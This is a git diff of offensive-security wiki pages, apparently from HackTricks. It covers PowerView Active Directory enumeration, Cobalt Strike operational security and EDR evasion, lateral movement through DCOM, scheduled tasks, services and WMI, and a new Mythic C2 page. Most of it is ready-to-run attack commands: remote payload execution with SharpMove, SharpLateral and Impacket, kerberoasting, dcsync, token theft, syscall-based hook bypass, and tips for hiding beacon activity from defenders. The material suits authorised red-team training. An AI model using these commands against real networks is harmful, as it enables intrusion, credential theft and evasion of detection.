A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" Owner : BUILTIN\Administrators diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md index 6a7ab6b44..942890d79 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md @@ -9,7 +9,7 @@ The most up-to-date version of PowerView will always be in the dev branch of Pow ### Quick enumeration -```powershell +```bash Get-NetDomain #Basic domain info #User info Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info @@ -42,7 +42,7 @@ Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, Active ### Domain info -```powershell +```bash # Domain Info Get-Domain #Get info about the current domain Get-NetDomain #Get info about the current domain @@ -67,7 +67,7 @@ Get-ForestDomain ### Users, Groups, Computers & OUs -```powershell +```bash # Users ## Get usernames and their groups Get-DomainUser -Properties name, MemberOf | fl @@ -135,7 +135,7 @@ Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers in ### Logon and Sessions -```powershell +```bash Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target) Get-NetSession -ComputerName #Get active sessions on the host Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS)) @@ -148,7 +148,7 @@ Get-NetRDPSession -ComputerName #List RDP sessions inside a host (n If an attacker has **high privileges over a GPO** he could be able to **privesc** abusing it by **add permissions to a user**, **add a local admin user** to a host or **create a scheduled task** (immediate) to perform an action.\ For [**more info about it and how to abuse it follow this link**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation). -```powershell +```bash #GPO Get-DomainGPO | select displayName #Check the names for info Get-NetGPO #Get all policies with details @@ -190,7 +190,7 @@ Learn how to **exploit permissions over GPOs and ACLs** in: ### ACL -```powershell +```bash #Get ACLs of an object (permissions of other objects over the indicated one) Get-ObjectAcl -SamAccountName -ResolveGUIDs @@ -213,7 +213,7 @@ Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "f ### Shared files and folders -```powershell +```bash Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers Find-DomainShare -CheckShareAccess #Search readable shares Find-InterestingDomainShareFile #Find interesting files, can use filters @@ -221,7 +221,7 @@ Find-InterestingDomainShareFile #Find interesting files, can use filters ### Domain Trust -```powershell +```bash Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-DomainTrust #Same Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found @@ -240,7 +240,7 @@ Get-DomainForeignGroupMember #Get groups with privileges in other domains inside ### L**ow**-**hanging fruit** -```powershell +```bash #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl @@ -280,7 +280,7 @@ Invoke-UserHunter -Stealth ### Deleted objects -```powershell +```bash #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft #You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * @@ -290,19 +290,19 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * #### SID to Name -```powershell +```bash "S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName ``` #### Kerberoast -```powershell +```bash Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users ``` #### Use different credentials (argument) -```powershell +```bash # use an alterate creadential for any function $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) @@ -311,7 +311,7 @@ Get-DomainUser -Credential $Cred #### Impersonate a user -```powershell +```bash # if running in -sta mode, impersonate another credential a la "runas /netonly" $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) @@ -322,7 +322,7 @@ Invoke-RevertToSelf #### Set values -```powershell +```bash # set the specified property for the given user identity Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose # Set the owner of 'dfm' in the current domain to 'harmj0y' diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index d47f0e340..6b9dacb61 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -38,7 +38,7 @@ If you already has the file you want to host in a web sever just go to `Attacks
# Execute local .NET binary
 execute-assembly 
-# Note that to load assemblies larger than 1MB, the tasks_max_size property of the malleable profile needs to be modified.
+# Note that to load assemblies larger than 1MB, the 'tasks_max_size' property of the malleable profile needs to be modified.
 
 # Screenshots
 printscreen    # Take a single screenshot via PrintScr method
@@ -141,13 +141,13 @@ jump [method] [target] [listener]
 ## wmi_msbuild               x64   wmi lateral movement with msbuild inline c# task (oppsec)
 
 
-remote-exec [method] [target] [command]
+remote-exec [method] [target] [command] # remote-exec doesn't return output
 ## Methods:
 ## psexec                          Remote execute via Service Control Manager
 ## winrm                           Remote execute via WinRM (PowerShell)
 ## wmi                             Remote execute via WMI
 
-## To execute a beacon with wmi (it isn't ins the jump command) just upload the beacon and execute it
+## To execute a beacon with wmi (it isn't in the jump command) just upload the beacon and execute it
 beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
 
@@ -185,18 +185,125 @@ beacon> socks 1080
 # SSH connection
 beacon> ssh 10.10.17.12:22 username password
-## Execute-Assembly +## Opsec -`execute-assembly` uses a sacrificial process using remote process injection to execute the indicated .Net program. Howeevr, there are some custom tools that can be used to load something in the same process: +### Execute-Assembly + +The **`execute-assembly`** uses a **sacrificial process** using remote process injection to execute the indicated program. This is very noisy as to inject inside a process certain Win APIs are used that every EDR is checking. However, there are some custom tools that can be used to load something in the same process: - [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) -- [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET) +- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) +- In Cobalt Strike you can also use BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET) - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) +The agressor script `https://github.com/outflanknl/HelpColor` will create the `helpx` command in Cobalt Strike which will put colors in commands indicating if they are BOFs (green), if they are Frok&Run (yellow) and similar, or if they are ProcessExecution, injection or similar (red). Which helps to know which commands are more stealthy. -## Avoiding AVs +### Act as the user -### Artifact Kit +You could check events like `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`: + +- Security EID 4624 - Check all the interactive logons to know the usual operating hours. +- System EID 12,13 - Check the shutdown/startup/sleep frequency. +- Security EID 4624/4625 - Check inbound valid/invalid NTLM attempts. +- Security EID 4648 - This event is created when plaintext credentials are used to logon. If a process generated it, the binary potentially has the credentials in clear text ina config file or inside the code. + +When using `jump` from cobalt strike, it's better to use the `wmi_msbuild` method to make the new process look more legit. + +### Use computer accounts + +It's common for defenders to be checking weird behaviours generated from users abd **exclude service accounts and computer accounts like `*$` from their monitoring**. You could use these accounts to perform lateral movement or privilege escalation. + +### Use stageless payloads + +Stageless payloads are less noisy than staged ones because they don't need to download a second stage from the C2 server. This means that they don't generate any network traffic after the initial connection, making them less likely to be detected by network-based defenses. + +### Tokens & Token Store + +Be careful when you steal or generate tokens because it might be posisble for an EDR to enumerate all the tokens of all the threads and find a **token belonging to a different user** or even SYSTEM in the process. + +This allows to store tokens **per beacon** so it's not needed to steal the same token again and again. This is useful for lateral movement or when you need to use a stolen token multiple times: + +- token-store steal +- token-store steal-and-use +- token-store show +- token-store use +- token-store remove +- token-store remove-all + +When moving laterally, usually is better to **steal a token than to generate a new one** or perform a pass the hash attack. + +### Guardrails + +Cobalt Strike has a feature called **Guardrails** that helps to prevent the use of certain commands or actions that could be detected by defenders. Guardrails can be configured to block specific commands, such as `make_token`, `jump`, `remote-exec`, and others that are commonly used for lateral movement or privilege escalation. + +Moreover, the repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) also contains some checks and ideas you could consider before executing a payload. + +### Tickets encryption + +In an AD be careful with the encryption of the tickets. By default, some tools will use RC4 encryption for Kerberos tickets, which is less secure than AES encryption and by default up to date environments will use AES. This can be detected by defenders who are monitoring for weak encryption algorithms. + +### Avoid Defaults + +When using Cobalt Stricke by default the SMB pipes will have the name `msagent_####` and `"status_####`. Change those names. It's possible to check the names of the existing pipes from Cobal Strike with the command: `ls \\.\pipe\` + +Moreover, with SSH sessions a pipe called `\\.\pipe\postex_ssh_####` is created. Chage it with `set ssh_pipename "";`. + +Also in poext exploitation attack the pipes `\\.\pipe\postex_####` can be modified with `set pipename ""`. + +In Cobalt Strike profiles you can also modify things like: + +- Avoiding using `rwx` +- How the process injection behavior works (which APIs will be used) in the `process-inject {...}` block +- How the "fork and run" works in the `post-ex {…}` block +- The sleep time +- The max size of binaries to be loaded in memory +- The memory footprint and DLL content with `stage {...}` block +- The network traffic + +### Bypass memory scanning + +Some ERDs scan memory for some know malware signatures. Coblat Strike allows to modify the `sleep_mask` function as a BOF that will be able to encrypt in memory the bacldoor. + +### Noisy proc injections + +When injecting code into a process this is usually very noisy, this is because **no regular process usually performs this action and because the ways to do this are very limited**. Tehrefore, it' could be detected by behaviour-based detection systems. Moroever, it could also be detected by EDRs scanning the network for **threads containing code that is not in disk** (although processes such as browsers using JIT have this commonly). Example: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) + +### Spawnas | PID and PPID relationships + +When spawning a new process it's important to **maintain a regular parent-child** relationship between processes to avoid detection. If svchost.exec is executing iexplorer.exe it'll look suspicious, as svchost.exe is not a parent of iexplorer.exe in a normal Windows environment. + +When a new beacon is spawned in Cobalt Strike by default a process using **`rundll32.exe`** is created to run the new listener. This is not very stealthy and can be easily detected by EDRs. Moreover, `rundll32.exe` is run without any args making it even more suspicious. + +With the following Cobalt Strike command, you can specify a different process to spawn the new beacon, making it less detectable: + +```bash +spawnto x86 svchost.exe +``` + +You can aso change this setting **`spawnto_x86` and `spawnto_x64`** in a profile. + +### Proxying attackers traffic + +Atters sometime will need to be able to run tools lically, even in linux machines and make the traffic of the victims reach the tool (e.g. NTLM relay). + +Moreover, sometimes to do a pass-the.hash or pass-the-ticket attack it's stealthier for the attacker to **add this hash or ticket in his own LSASS process** locally and then pivot from it instead of modifying an LSASS process of a victim machine. + +However, you need to be **careful with the generated traffic**, as you might be sending uncommon traffic (kerberos?) from your backdoor process. For this you could pivot to a browser process (although you could get caught injecting yourself into a process so think about a stealth way to do this). + +```bash + +### Avoiding AVs + +#### AV/AMSI/ETW Bypass + +Check the page: + +{{#ref}} +av-bypass.md +{{#endref}} + + +#### Artifact Kit Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons. @@ -210,7 +317,7 @@ pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded. -### Resource Kit +#### Resource Kit The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA. @@ -224,8 +331,17 @@ Modifying the detected lines one can generate a template that won't be caught. Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded. +#### Function hooks | Syscall +Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other. +This can be set in the profile or suing the command **`syscall-method`** + + However, this could also be noisy. + +Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof). + +You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector) diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md index 648a1f1e7..fff9f3cd8 100644 --- a/src/windows-hardening/lateral-movement/README.md +++ b/src/windows-hardening/lateral-movement/README.md @@ -10,6 +10,8 @@ There are different different ways to execute commands in external systems, here - [**AtExec / SchtasksExec**](atexec.md) - [**WinRM**](winrm.md) - [**DCOM Exec**](dcom-exec.md) +- [**RDPexec**](rdpexec.md) +- [**SCMexec**](scmexec.md) - [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud) - [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud) - [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud) diff --git a/src/windows-hardening/lateral-movement/atexec.md b/src/windows-hardening/lateral-movement/atexec.md index e72baf864..76fc693ae 100644 --- a/src/windows-hardening/lateral-movement/atexec.md +++ b/src/windows-hardening/lateral-movement/atexec.md @@ -22,12 +22,24 @@ schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local ``` +You can use **Impacket's `atexec.py`** to execute commands on remote systems using the AT command. This requires valid credentials (username and password or hash) for the target system. + +```bash +atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami +``` + You can also use [SharpLateral](https://github.com/mertdas/SharpLateral): ```bash SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName ``` +You can use [SharpMove](https://github.com/0xthirteen/SharpMove): + +```bash +SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password +``` + More information about the [**use of schtasks with silver tickets here**](../active-directory-methodology/silver-ticket.md#host). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/dcom-exec.md b/src/windows-hardening/lateral-movement/dcomexec.md similarity index 88% rename from src/windows-hardening/lateral-movement/dcom-exec.md rename to src/windows-hardening/lateral-movement/dcomexec.md index 2d8634803..457944b8f 100644 --- a/src/windows-hardening/lateral-movement/dcom-exec.md +++ b/src/windows-hardening/lateral-movement/dcomexec.md @@ -16,7 +16,7 @@ The COM object, [MMC Application Class (MMC20.Application)](https://technet.micr This feature facilitates the execution of commands over a network through a DCOM application. To interact with DCOM remotely as an admin, PowerShell can be utilized as follows: -```powershell +```bash [activator]::CreateInstance([type]::GetTypeFromProgID("", "")) ``` @@ -24,14 +24,14 @@ This command connects to the DCOM application and returns an instance of the COM Check methods: -```powershell +```bash $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com.Document.ActiveView | Get-Member ``` Get RCE: -```powershell +```bash $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com | Get-Member @@ -54,11 +54,16 @@ For `ShellWindows`, which lacks a ProgID, the .NET methods `Type.GetTypeFromCLSI Example PowerShell commands were provided to instantiate the object and execute commands remotely: -```powershell +```bash +# Example $com = [Type]::GetTypeFromCLSID("", "") $obj = [System.Activator]::CreateInstance($com) $item = $obj.Item() $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0) + +# Need to upload the file to execute +$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100")) +$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7") ``` ### Lateral Movement with Excel DCOM Objects @@ -67,7 +72,7 @@ Lateral movement can be achieved by exploiting DCOM Excel objects. For detailed The Empire project provides a PowerShell script, which demonstrates the utilization of Excel for remote code execution (RCE) by manipulating DCOM objects. Below are snippets from the script available on [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), showcasing different methods to abuse Excel for RCE: -```powershell +```bash # Detection of Office version elseif ($Method -Match "DetectOffice") { $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") @@ -102,15 +107,33 @@ Two tools are highlighted for automating these techniques: SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` +- [SharpMove](https://github.com/0xthirteen/SharpMove): + +```bash +SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true +``` + ## Automatic Tools - The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) allows to easily invoke all the commented ways to execute code in other machines. +- You can use Impacket's `dcomexec.py` to execute commands on remote systems using DCOM. + +```bash +dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami" +``` + - You could also use [**SharpLateral**](https://github.com/mertdas/SharpLateral): ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` +- You could also use [**SharpMove**](https://github.com/0xthirteen/SharpMove) + +```bash +SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true +``` + ## References - [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index 68b6b35af..d6725a1a7 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -1,4 +1,4 @@ -# PsExec/Winexec/ScExec +# PsExec/Winexec/ScExec/SMBExec {{#include ../../banners/hacktricks-training.md}} @@ -16,6 +16,7 @@ The process is outlined in the steps below, illustrating how service binaries ar Assuming there is an executable payload (created with msfvenom and obfuscated using Veil to evade antivirus detection), named 'met8888.exe', representing a meterpreter reverse_http payload, the following steps are taken: - **Copying the binary**: The executable is copied to the ADMIN$ share from a command prompt, though it may be placed anywhere on the filesystem to remain concealed. + - Instead of copying the binary it's also possible to use a LOLBAS binary like `powershell.exe` or `cmd.exe` to execute commands directly from the arguments. E.g. `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"` - **Creating a service**: Utilizing the Windows `sc` command, which allows for querying, creating, and deleting Windows services remotely, a service named "meterpreter" is created to point to the uploaded binary. - **Starting the service**: The final step involves starting the service, which will likely result in a "time-out" error due to the binary not being a genuine service binary and failing to return the expected response code. This error is inconsequential as the primary goal is the binary's execution. @@ -25,17 +26,31 @@ Observation of the Metasploit listener will reveal that the session has been ini Find moe detailed steps in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) -**You could also use the Windows Sysinternals binary PsExec.exe:** +- You could also use the **Windows Sysinternals binary PsExec.exe**: ![](<../../images/image (928).png>) -You could also use [**SharpLateral**](https://github.com/mertdas/SharpLateral): +Or access it via webddav: + +```bash +\\live.sysinternals.com\tools\PsExec64.exe -accepteula +``` + +- You could also use [**SharpLateral**](https://github.com/mertdas/SharpLateral): ```bash SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName ``` +- You could also use [**SharpMove**](https://github.com/0xthirteen/SharpMove): + +```bash +SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService +SharpMove.exe action=startservice computername=remote.host.local servicename=TestService +``` + +- You could also use **Impacket's `psexec` and `smbexec.py`**. + + {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/windows-hardening/lateral-movement/rdpexec.md b/src/windows-hardening/lateral-movement/rdpexec.md new file mode 100644 index 000000000..4b7ec7946 --- /dev/null +++ b/src/windows-hardening/lateral-movement/rdpexec.md @@ -0,0 +1,18 @@ +# RDPexec + +{{#include ../../banners/hacktricks-training.md}} + +## How it Works + +**RDPexec** is basically to execute commands login into the system using RDP. + +For more information check: + +{{#ref}} +../../network-services-pentesting/pentesting-rdp.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}} + + + diff --git a/src/windows-hardening/lateral-movement/scmexec.md b/src/windows-hardening/lateral-movement/scmexec.md new file mode 100644 index 000000000..34d8aaf2c --- /dev/null +++ b/src/windows-hardening/lateral-movement/scmexec.md @@ -0,0 +1,15 @@ +# DCOM Exec + +{{#include ../../banners/hacktricks-training.md}} + +## SCM + +**SCMExec** is a technique to execute commands on remote systems using the Service Control Manager (SCM) to create a service that runs the command. This method can bypass some security controls, such as User Account Control (UAC) and Windows Defender. + +## Tools + +- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove): + +SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md deleted file mode 100644 index 02f08dc46..000000000 --- a/src/windows-hardening/lateral-movement/smbexec.md +++ /dev/null @@ -1,45 +0,0 @@ -# SmbExec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - - -## How it Works - -**Smbexec** is a tool used for remote command execution on Windows systems, similar to **Psexec**, but it avoids placing any malicious files on the target system. - -### Key Points about **SMBExec** - -- It operates by creating a temporary service (for example, "BTOBTO") on the target machine to execute commands via cmd.exe (%COMSPEC%), without dropping any binaries. -- Despite its stealthy approach, it does generate event logs for each command executed, offering a form of non-interactive "shell". -- The command to connect using **Smbexec** looks like this: - -```bash -smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 -``` - -### Executing Commands Without Binaries - -- **Smbexec** enables direct command execution through service binPaths, eliminating the need for physical binaries on the target. -- This method is useful for executing one-time commands on a Windows target. For instance, pairing it with Metasploit's `web_delivery` module allows for the execution of a PowerShell-targeted reverse Meterpreter payload. -- By creating a remote service on the attacker's machine with binPath set to run the provided command through cmd.exe, it's possible to execute the payload successfully, achieving callback and payload execution with the Metasploit listener, even if service response errors occur. - -### Commands Example - -Creating and starting the service can be accomplished with the following commands: - -```bash -sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]" -sc start [ServiceName] -``` - -FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## References - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/windows-hardening/lateral-movement/wmiexec.md b/src/windows-hardening/lateral-movement/wmiexec.md index f2ad2bc88..6c4238131 100644 --- a/src/windows-hardening/lateral-movement/wmiexec.md +++ b/src/windows-hardening/lateral-movement/wmiexec.md @@ -115,10 +115,6 @@ wmic /node:hostname /user:user path win32_process call create "empire launcher s This process illustrates WMI's capability for remote execution and system enumeration, highlighting its utility for both system administration and penetration testing. -## References - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - ## Automatic Tools - [**SharpLateral**](https://github.com/mertdas/SharpLateral): @@ -127,6 +123,30 @@ This process illustrates WMI's capability for remote execution and system enumer SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe ``` +- [**SharpWMI**](https://github.com/GhostPack/SharpWMI) + +```bash +SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true] +# Stealthier execution with VBS +SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs] +``` + +- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove): + +```bash +SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password +SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password +SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password +``` + +- You could also use **Impacket's `wmiexec`**. + + +## References + +- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/mythic.md b/src/windows-hardening/mythic.md new file mode 100644 index 000000000..177124cd2 --- /dev/null +++ b/src/windows-hardening/mythic.md @@ -0,0 +1,176 @@ +# Mythic + +## What is Mythic? + +Mythic is an open-source, modular command and control (C2) framework designed for red teaming . It allows security professionals to manage and deploy various agents (payloads) across different operating systems, including Windows, Linux, and macOS. Mythic provides a user-friendly web interface for managing agents, executing commands, and collecting results, making it a powerful tool for simulating real-world attacks in a controlled environment. + +### Installation + +To install Mythic, follow the instructions on the official **[Mythic repo](https://github.com/its-a-feature/Mythic)**. + +### Agents + +Mythic supports multiple agents, which are the **payloads that perform tasks on the compromised systems**. Each agent can be tailored to specific needs and can run on different operating systems. + +By default Mythic doesn't have any agents installed. However, it offers some open source agent in [**https://github.com/MythicAgents**](https://github.com/MythicAgents). + +To install an agent from that repo you just need to run: + +```bash +sudo ./mythic-cli install github https://github.com/MythicAgents/ +sudo ./mythic-cli install github https://github.com/MythicAgents/apfell +``` + +You can add new agents with the previous command even if Mythic is already running. + +### C2 Profiles + +C2 profiles in Mythic define **how agents communicate with the Mythic server**. They specify the communication protocol, encryption methods, and other settings. You can create and manage C2 profiles through the Mythic web interface. + +By default Mythic is installed with no profiles, however, it's possible to download some profiles from the repo [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) running: + +```bash +sudo ./mythic-cli install github https://github.com/MythicC2Profiles/> +sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http +``` + +## [Apollo Agent](https://github.com/MythicAgents/Apollo) + +Apollo is a Windows agent written in C# using the 4.0 .NET Framework designed to be used in SpecterOps training offerings. + +Install it with: + +```bash +./mythic-cli install github https://github.com/MythicAgents/Apollo.git +``` + +This agent has a lot of commands that makes it very similar to Cobalt Strike's Beacon with some extras. Among them, it supports: + +### Common actions + +- `cat`: Print the contents of a file +- `cd`: Change the current working directory +- `cp`: Copy a file from one location to another +- `ls`: List files and directories in the current directory or specified path +- `pwd`: Print the current working directory +- `ps`: List running processes on the target system (with added info) +- `download`: Download a file from the target system to the local machine +- `upload`: Upload a file from the local machine to the target system +- `reg_query`: Query registry keys and values on the target system +- `reg_write_value`: Write a new value to a specified registry key +- `sleep`: Change the agent's sleep interval, which determines how often it checks in with the Mythic server +- And may others, use `help` to see the full list of available commands. + +### Privilege escalation + +- `getprivs`: Enable as many privileges as possible on the current thread token +- `getsystem`: Open a handle to winlogon and duplicate the token, effectively escalating privileges to SYSTEM level +- `make_token`: Create a new logon session and apply it to the agent, allowing for impersonation of another user +- `steal_token`: Steal a primary token from another process, allowing the agent to impersonate that process's user +- `pth`: Pass-the-Hash attack, allowing the agent to authenticate as a user using their NTLM hash without needing the plaintext password +- `mimikatz`: Run Mimikatz commands to extract credentials, hashes, and other sensitive information from memory or the SAM database +- `rev2self`: Revert the agent's token to its primary token, effectively dropping privileges back to the original level +- `ppid`: Change the parent process for post-exploitation jobs by specifying a new parent process ID, allowing for better control over job execution context +- `printspoofer`: Execute PrintSpoofer commands to bypass print spooler security measures, allowing for privilege escalation or code execution +- `dcsync`: Sync a user's Kerberos keys to the local machine, allowing for offline password cracking or further attacks +- `ticket_cache_add`: Add a Kerberos ticket to the current logon session or a specified one, allowing for ticket reuse or impersonation + +### Process execution + +- `assembly_inject`: Allows to inject a .NET assembly loader into a remote process +- `execute_assembly`: Executes a .NET assembly in the context of the agent +- `execute_coff`: Executes a COFF file in memory, allowing for in-memory execution of compiled code +- `execute_pe`: Executes an unmanaged executable (PE) +- `inline_assembly`: Executes a .NET assembly in a disposable AppDomain, allowing for 